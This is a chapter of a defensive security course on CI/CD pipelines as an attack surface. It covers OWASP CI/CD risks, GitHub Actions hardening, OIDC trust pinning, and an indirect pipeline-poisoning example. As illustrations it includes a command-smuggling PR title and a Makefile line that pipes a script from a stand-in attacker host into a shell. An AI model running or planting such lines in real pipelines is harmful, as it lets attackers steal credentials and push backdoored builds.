Chapter 12 — CI/CD as an attack surface
In one sentence
Your CI/CD system executes code from your repo with credentials that can change production, so anyone who can influence what it runs — via a pull request, a dependency, a compromised action, or a leaked token — can reach prod.
Where we are
G1 Ch 47 covered dependencies and signing. This chapter is the CI/CD system itself: runners, tokens, triggers, and the ways an attacker turns "I can open a PR" into "I run commands on your pipeline with its secrets".
How it works
Map the OWASP Top 10 CI/CD Security Risks to concrete controls:
1 INSUFFICIENT FLOW CONTROL -- code/artefacts reach prod without review
or gates. -> branch protection, required reviews (CODEOWNERS),
required status checks, environment protection rules with required
reviewers for prod, no direct push to main, signed commits/tags.
2 INADEQUATE IAM -- too many people/systems can change pipelines or
hold prod creds. -> least-privilege on the CI platform, SSO + MFA,
scoped GITHUB_TOKEN (default read-only; grant per-job), separate
identities per pipeline, no shared service accounts.
3 DEPENDENCY CHAIN ABUSE -- G1 Ch 47 (typosquat, confusion, malicious
update). -> lockfiles, private registry proxy with allowlist, scoped
internal names, SBOM + scan (Ch 13).
4 POISONED PIPELINE EXECUTION (PPE) -- the big one:
DIRECT PPE: an attacker who can modify the CI config file in a
branch/PR gets their steps run. -> require review of
workflow files (CODEOWNERS on .github/workflows/**),
don't run untrusted workflow definitions.
INDIRECT PPE: the CI config is fixed, but it runs files the attacker
CAN change -- a Makefile, build.gradle, a test script,
a lint config, a `package.json` "scripts" hook, a
conftest policy. Opening a PR that edits `Makefile`
and having CI run `make` = RCE on the runner.
-> pipelines triggered by fork PRs must run with NO
secrets and a read-only token, on an ephemeral
isolated runner; require approval to run workflows on
PRs from first-time / external contributors.
5 INSUFFICIENT PBAC -- a pipeline can do more than its job (deploy
anywhere, read all secrets). -> per-pipeline credentials scoped to
one app/one environment; prod deploy is a separate, gated pipeline.
6 CREDENTIAL HYGIENE -- long-lived secrets in CI variables, printed in
logs, over-scoped. -> OIDC federation to the cloud (no static keys),
short-lived tokens, secret masking, scan logs, rotate, least scope.
7 INSECURE SYSTEM CONFIG -- outdated CI server, weak runner isolation,
debug/SSH-to-runner enabled, permissive webhooks. -> patch, harden,
ephemeral runners, disable interactive debug on protected branches.
8 UNGOVERNED 3RD-PARTY SERVICES -- every OAuth app / GitHub App / CI
plugin / marketplace action with repo or org access is trust you've
extended. -> inventory and review them; least scope; remove unused;
pin actions to a full commit SHA.
9 IMPROPER ARTIFACT INTEGRITY -- nothing verifies that what's deployed
is what CI built from reviewed source. -> sign artefacts (cosign),
generate provenance (SLSA), verify at admission (Ch 13).
10 INSUFFICIENT LOGGING/VISIBILITY -- you can't tell what the pipeline
did or who changed it. -> ship CI audit logs + run logs to your SIEM;
alert on workflow-file changes, new secrets, new runners, permission
changes.
GitHub Actions specifics (the patterns generalise to GitLab CI, Jenkins, CircleCI, Buildkite):
[ ] `permissions:` block in every workflow, default `contents: read`;
grant `id-token: write`, `packages: write` etc. only per-job.
[ ] NEVER use `pull_request_target` with a checkout of the PR head and
then run its code -- that runs untrusted code WITH the base repo's
secrets and a write token. If you must label-gate PRs, checkout the
BASE and don't execute PR code.
[ ] Script injection: `run: echo "${{ github.event.pull_request.title }}"`
-- a PR titled `"; curl evil|sh; #` executes. Pass event data via
`env:` and reference `"$TITLE"`, never interpolate `${{ }}` into a
`run:` shell.
[ ] Pin every action to a full commit SHA (`actions/checkout@<40-hex>`),
not `@v4`. Consider `@v4` only for first-party actions with a
comment, and use Dependabot to bump SHAs.
[ ] Ephemeral, isolated runners. Self-hosted runners on PUBLIC repos =
fork PRs run attacker code on your infra -> use GitHub-hosted or
ephemeral, network-isolated, single-use runners.
[ ] `actions/checkout` with `persist-credentials: false` unless you
need the token for later git ops.
[ ] Environment protection rules: `production` environment with
required reviewers + wait timer + branch restriction; deploy jobs
target it.
[ ] Restrict which actions can run (org policy: "allow select actions",
verified creators + an allowlist).
OIDC to the cloud — do it, and pin the trust:
Instead of storing AWS keys in CI secrets, the workflow requests an
OIDC token from the CI provider and exchanges it for a short-lived
cloud role session.
The cloud role's TRUST POLICY must pin the subject tightly:
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
},
"StringLike": {
"token.actions.githubusercontent.com:sub":
"repo:secureshop/platform:environment:production"
}
}
COMMON MISCONFIG: `sub` set to `repo:secureshop/*` or omitted -> ANY
repo in the org (or forks, or any branch) can assume the prod deploy
role. Pin to the exact repo AND ref/environment.
Worked example
An indirect PPE, and the gate that stops it.
SecureShop's CI runs, on every PR: `make lint && make test && make build`
with a runner that has `id-token: write` and can assume a role that can
push to the ECR registry.
ATTACK: an external contributor opens a PR that changes `Makefile`:
test:
curl -s https://attacker.example/x.sh | sh # runs on the runner
$(OLD_TEST_COMMAND)
When CI runs `make test`, the attacker's script executes on the runner,
reads the OIDC token / assumes the ECR role / pushes a backdoored image
tagged like a legit build.
GATES (any one breaks it; use several):
- Fork PRs run in a `pull_request` context with NO secrets and a
read-only token by default (GitHub does this) -- but only if the
workflow doesn't opt into `pull_request_target` or a privileged
reusable workflow. Verify.
- "Require approval for all outside collaborators" to run workflows on
PRs -> a maintainer must click before CI runs attacker-influenced
code.
- The registry-push role is assumable ONLY from
`sub: repo:secureshop/platform:ref:refs/heads/main` -> a PR branch
can't assume it even if code runs.
- `Makefile` / build scripts are under CODEOWNERS -> the change needs
a platform-team review to merge (doesn't stop pre-merge CI, but
stops the poisoned Makefile from ever reaching main).
- Ephemeral runner with egress allowlist -> `curl attacker.example`
is blocked.
Practice (75 min)
- Audit one real repo's workflows: do they set
permissions:? pin actions to SHAs? usepull_request_targetunsafely? interpolate${{ github.event.* }}intorun:? Fix what you find. - Set up OIDC from GitHub Actions (or GitLab) to your sandbox cloud
account. Pin the role trust to the exact repo +
environment:production. Prove a PR branch job cannot assume it. - Add branch protection + a
productionenvironment with a required reviewer. Watch a deploy job wait for approval. - Simulate an indirect PPE in a throwaway repo: a workflow that runs
make, and a PR that edits theMakefiletoecho PWNED. Confirm it runs onpull_request; then add "require approval for outside collaborators" and confirm it now waits. - Run
zizmororoctoscan(GitHub Actions static analysers) /poutine(multi-platform CI/CD scanner) against your workflows. - Ship CI audit logs to your log store; write an alert for "workflow file changed on a protected branch" and "new Actions secret created".
Common mistakes
pull_request_target+ checkout PR head + run it. The canonical CI takeover. Runs untrusted code with your secrets and write token.- Actions pinned to tags.
@v4is mutable; a compromised action repo repoints it. Pin to SHA. - Static long-lived cloud keys in CI secrets. Use OIDC. If you can't, rotate aggressively and scope hard.
- OIDC trust with
repo:org/*or nosubcondition. Any repo/branch/fork assumes your deploy role. - One pipeline, one god-mode credential. Scope per app and per environment; prod deploy is separate and gated.
- Self-hosted runners on public repos, non-ephemeral. Fork PRs = RCE on your infra, and job N poisons the cache for job N+1.
${{ }}interpolation into shellrun:blocks. Script injection via attacker-controlled event fields (PR title, branch name, commit message, issue body).
Check yourself
- What is Poisoned Pipeline Execution, and how do direct and indirect PPE differ?
- Why is
pull_request_targetwith a checkout of the PR head dangerous? - What is the OIDC-to-cloud pattern, and what's the common trust-policy misconfiguration?
- Give three reasons self-hosted runners on a public repo are risky.
- How does GitHub Actions script injection work, and what's the fix?
- Name four of the OWASP CI/CD Top 10 risks and a control for each.
Further reading
- List: OWASP Top 10 CI/CD Security Risks (
owasp.org/www-project-top-10-ci- cd-security-risks) — read it in full; it's the map. - Docs: GitHub "Security hardening for GitHub Actions", "About security
hardening with OpenID Connect"; GitLab "CI/CD security"; the
step-security/ harden-runneraction. - Tools:
zizmor,octoscan,poutine(BoostSecurity),raven(Cycode), Chainguard'sactionsguidance;gato/gato-x(offensive GitHub Actions enumeration). - Research: "Playing with GitHub Actions" and "One Supply Chain Attack to
Rule Them All" (Cycode, Palo Alto Unit 42); the
pull_request_targetand self-hosted-runner writeups by Adnan Khan / John Stawinski.